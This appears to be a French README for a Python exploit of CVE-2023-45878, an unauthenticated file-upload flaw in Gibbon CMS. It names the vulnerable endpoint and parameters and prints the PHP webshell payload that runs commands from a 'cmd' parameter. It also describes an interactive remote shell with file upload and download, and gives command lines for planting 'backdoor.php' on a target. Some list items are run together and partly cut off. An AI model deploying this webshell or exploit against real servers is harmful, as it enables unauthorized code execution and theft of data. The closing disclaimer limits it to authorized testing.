
Exploit Python pour CVE-2023-45878, un téléversement de fichier arbitraire non authentifié dans Gibbon CMS, permettant une exécution de code à distance (RCE) via le téléversement d'un webshell et un accès à un shell interactif.
Ce script Python exploite CVE-2023-45878, une vulnérabilité de téléchargement arbitraire de fichier sans authentification dans Gibbon CMS versions 25.0.1 et antérieures, conduisant à une exécution de code à distance (RCE).
CVE-2023-45878 existe dans le point d’accès rubrics_visualise_saveAjax.php de Gibbon CMS. Ce point d’accès est vulnérable car il ne nécessite pas d’authentification et permet des écritures arbitraires de fichiers.
La vulnérabilité provient des éléments suivants :
modules/Rubrics/rubrics_visualise_saveAjax.php est accessible sans aucune authentification.img, path et gibbonPersonID.
img est censé contenir des données formatées spécialement, où la partie après une virgule est une chaîne encodée en base64.path, s’il est fourni, est utilisé comme nom de fichier de destination pour le fichier téléchargé, relatif au répertoire d’installation de Gibbon.img et l’écrit dans un fichier spécifié par le paramètre path.img malveillant contenant du code PHP encodé en base64 (par exemple, <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>) et en spécifiant un path qui aboutit à un fichier .php accessible via le serveur web, un attaquant peut télécharger un webshell PHP et obtenir une exécution de code à distance sur le serveur vulnérable.Ce script Python automatise l’exploitation de CVE-2023-45878. Il effectue les actions suivantes :
modules/Rubrics/rubrics_visualise_saveAjax.php pour télécharger un webshell PHP. La charge utile du webshell est <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>, où {VERIFY_TAG} est une balise personnalisable. La charge utile est encodée en base64 et envoyée dans le paramètre img.cmd=echo) et en recherchant la VERIFY_TAG dans la réponse. Il effectue également une pré-vérification pour un shell existant si les options --verify ou --interactive sont utilisées.user@host:cwd$).cd pour changer le répertoire de travail distant.!help : Affiche l’aide pour les commandes interactives.!upload <chemin_local> [chemin_distant] : Télécharge un fichier local vers le serveur cible via le webshell.!download <chemin_distant> [chemin_local] : Télécharge un fichier du serveur cible.!lcd <chemin> : Change le répertoire de travail local actuel.!ldir [chemin] : Liste les fichiers et répertoires dans le répertoire de travail local actuel ou un chemin spécifié.prompt_toolkit si disponible pour une expérience en ligne de commande améliorée (historique, meilleure édition), sinon utilise la fonction input() intégrée de Python.!upload réutilise le point d’accès vulnérable pour écrire des fichiers arbitraires, tandis que !download utilise des commandes système exécutées via le webshell (comme base64 ou [Convert]::ToBase64String de PowerShell) pour récupérer le contenu du fichier.python3 exploit.py <url_cible> [options]
Arguments :
target_url : L’URL de base de l’instance cible de Gibbon CMS. Le script ajoutera http:// si aucun schéma n’est fourni et s’assurera d’un slash final (par exemple, http://example.com/gibbon ou example.com/gibbon).Options :
-s <chemin_shell>, --shell-path <chemin_shell> :
Spécifiez le chemin et le nom de fichier souhaités pour le shell téléchargé (par exemple, shell.php, uploads/shell.php).
Si omis, un nom de fichier aléatoire de 8 caractères avec une extension .php sera généré dans le répertoire de base de Gibbon.
Attention : assurez-vous que le chemin spécifié est accessible en écriture par le serveur web et accessible via le web.-v, --verify :
Après avoir tenté de télécharger le shell, vérifiez s’il fonctionne. Cette option déclenche également une pré-vérification pour voir si un shell avec le nom et la balise spécifiés existe déjà ; si oui, le téléchargement est ignoré.-i, --interactive :
Entrez en mode shell interactif. Si le shell n’est pas déjà présent (vérifié par une pré-vérification), il sera d’abord téléchargé et vérifié.-t <balise>, --tag <balise> :
Spécifiez une balise statique personnalisée utilisée dans la charge utile du webshell à des fins de vérification. (Par défaut : ExploitGibbon).--timeout <timeout> :
Définissez le délai d’expiration des requêtes HTTP en secondes. (Par défaut : 20).Exemples :
Exploitation de base avec un nom de shell aléatoire dans le répertoire principal de Gibbon et la balise par défaut :
python3 exploit.py http://target.com/gibbon/
Exploitation, spécifier le nom de fichier du shell my_shell.php dans le répertoire principal de Gibbon et la balise par défaut :
python3 exploit.py http://target.com/gibbon/ -s my_shell.php
Exploitation, télécharger le nom de fichier du shell backdoor.php dans uploads/, le vérifier et utiliser une balise personnalisée :
python3 exploit.py http://target.com/gibbon/ -s uploads/backdoor.php -v -t MySecretTag123
Exploitation, télécharger le shell et entrer en mode interactif avec la balise par défaut et un délai d’expiration de 30 secondes :
python3 exploit.py http://target.com/gibbon/ -s shell.php -i --timeout 30
Entrer en mode interactif avec un shell existant (le script vérifiera sa présence) :
python3 exploit.py http://target.com/gibbon/ -s shell.php -t ExploitGibbon -i
Vérifier uniquement si un shell nommé existing_shell.php avec la balise par défaut est actif (tentera de télécharger s’il n’est pas trouvé) :
python3 exploit.py http://target.com/gibbon/ -s existing_shell.php -v
dataclasses, de pathlib)requests : Installer avec pip install requestsrich : Installer avec pip install richprompt_toolkit (optionnelle, pour un mode interactif amélioré) : Installer avec pip install prompt_toolkitCe script est fourni à des fins éducatives et de test de sécurité uniquement. Utilisez-le à vos risques et périls et uniquement contre des systèmes pour lesquels vous avez une autorisation explicite de test. L’auteur n’est pas responsable d’une mauvaise utilisation ou des dommages causés par ce script. L’exploitation de vulnérabilités sans autorisation est illégale et contraire à l’éthique.